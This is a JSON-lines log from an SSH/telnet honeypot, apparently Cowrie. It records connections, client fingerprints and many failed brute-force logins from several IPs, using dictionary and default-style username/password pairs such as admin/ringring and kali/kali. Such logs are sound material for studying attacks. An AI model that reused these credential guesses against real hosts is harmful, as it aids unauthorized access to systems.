{"eventid":"cowrie.login.failed","username":"admin","password":"rjpzdrf","message":"login attempt [admin/rjpzdrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:11.014206Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.219.64.246","src_port":6174,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea2fc2ed4613","protocol":"telnet","message":"New connection: 106.219.64.246:6174 (10.17.0.5:23) [session: ea2fc2ed4613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:11.567289Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ripoff","message":"login attempt [admin/ripoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:12.119239Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ringring","message":"login attempt [admin/ringring] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:13.224349Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"36c2321080da","protocol":"ssh","message":"New connection: 193.46.255.86:35428 (159.203.135.109:22) [session: 36c2321080da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:14.287637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:14.294064Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rincewind","message":"login attempt [admin/rincewind] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:14.329490Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:14.431947Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234","message":"login attempt [1234/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:15.022424Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"right1","message":"login attempt [admin/right1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:15.434077Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc123","message":"login attempt [1234/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:16.155303Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:16.539947Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abcd123","message":"login attempt [1234/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:17.288794Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abcd1234","message":"login attempt [1234/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:18.422160Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc1234","message":"login attempt [1234/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:19.554837Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41364,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3e22b069aa","protocol":"ssh","message":"New connection: 172.237.20.62:41364 (159.203.135.109:22) [session: 3a3e22b069aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:20.168107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:20.173213Z","src_ip":"172.237.20.62","session":"3a3e22b069aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:20.332919Z","src_ip":"172.237.20.62","session":"3a3e22b069aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:20.686594Z","src_ip":"193.46.255.86","session":"36c2321080da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:20.868504Z","src_ip":"172.237.20.62","session":"3a3e22b069aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:22.032063Z","src_ip":"172.237.20.62","session":"3a3e22b069aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.97761583328247,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:24.544795Z","src_ip":"106.219.64.246","session":"ea2fc2ed4613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42524,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2718173157f","protocol":"ssh","message":"New connection: 172.237.20.62:42524 (159.203.135.109:22) [session: b2718173157f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:31.159293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:31.164251Z","src_ip":"172.237.20.62","session":"b2718173157f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:31.332502Z","src_ip":"172.237.20.62","session":"b2718173157f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:31.818056Z","src_ip":"172.237.20.62","session":"b2718173157f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:32.980779Z","src_ip":"172.237.20.62","session":"b2718173157f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"e114b9b5fea9","protocol":"ssh","message":"New connection: 172.237.20.62:44922 (159.203.135.109:22) [session: e114b9b5fea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:42.161978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:42.166396Z","src_ip":"172.237.20.62","session":"e114b9b5fea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:42.325554Z","src_ip":"172.237.20.62","session":"e114b9b5fea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:42.801487Z","src_ip":"172.237.20.62","session":"e114b9b5fea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:43.963570Z","src_ip":"172.237.20.62","session":"e114b9b5fea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52906,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac92a7863ac","protocol":"ssh","message":"New connection: 172.237.20.62:52906 (159.203.135.109:22) [session: bac92a7863ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:53.083943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:53.088731Z","src_ip":"172.237.20.62","session":"bac92a7863ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:53.250070Z","src_ip":"172.237.20.62","session":"bac92a7863ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:53.770136Z","src_ip":"172.237.20.62","session":"bac92a7863ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:54.932922Z","src_ip":"172.237.20.62","session":"bac92a7863ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":32918,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2ab27df50d","protocol":"ssh","message":"New connection: 172.237.20.62:32918 (159.203.135.109:22) [session: 7f2ab27df50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:03.936089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:03.963924Z","src_ip":"172.237.20.62","session":"7f2ab27df50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:04.097394Z","src_ip":"172.237.20.62","session":"7f2ab27df50d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:04.726382Z","src_ip":"172.237.20.62","session":"7f2ab27df50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:05.935595Z","src_ip":"172.237.20.62","session":"7f2ab27df50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41484,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d20bcb1a11","protocol":"ssh","message":"New connection: 172.237.20.62:41484 (159.203.135.109:22) [session: 77d20bcb1a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:15.035152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:15.040810Z","src_ip":"172.237.20.62","session":"77d20bcb1a11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:15.212034Z","src_ip":"172.237.20.62","session":"77d20bcb1a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:15.697814Z","src_ip":"172.237.20.62","session":"77d20bcb1a11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:16.862096Z","src_ip":"172.237.20.62","session":"77d20bcb1a11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45586,"dst_ip":"159.203.135.109","dst_port":22,"session":"f546b9e27a02","protocol":"ssh","message":"New connection: 172.237.20.62:45586 (159.203.135.109:22) [session: f546b9e27a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:26.021393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:21:26.026807Z","src_ip":"172.237.20.62","session":"f546b9e27a02","protocol":"ssh"}
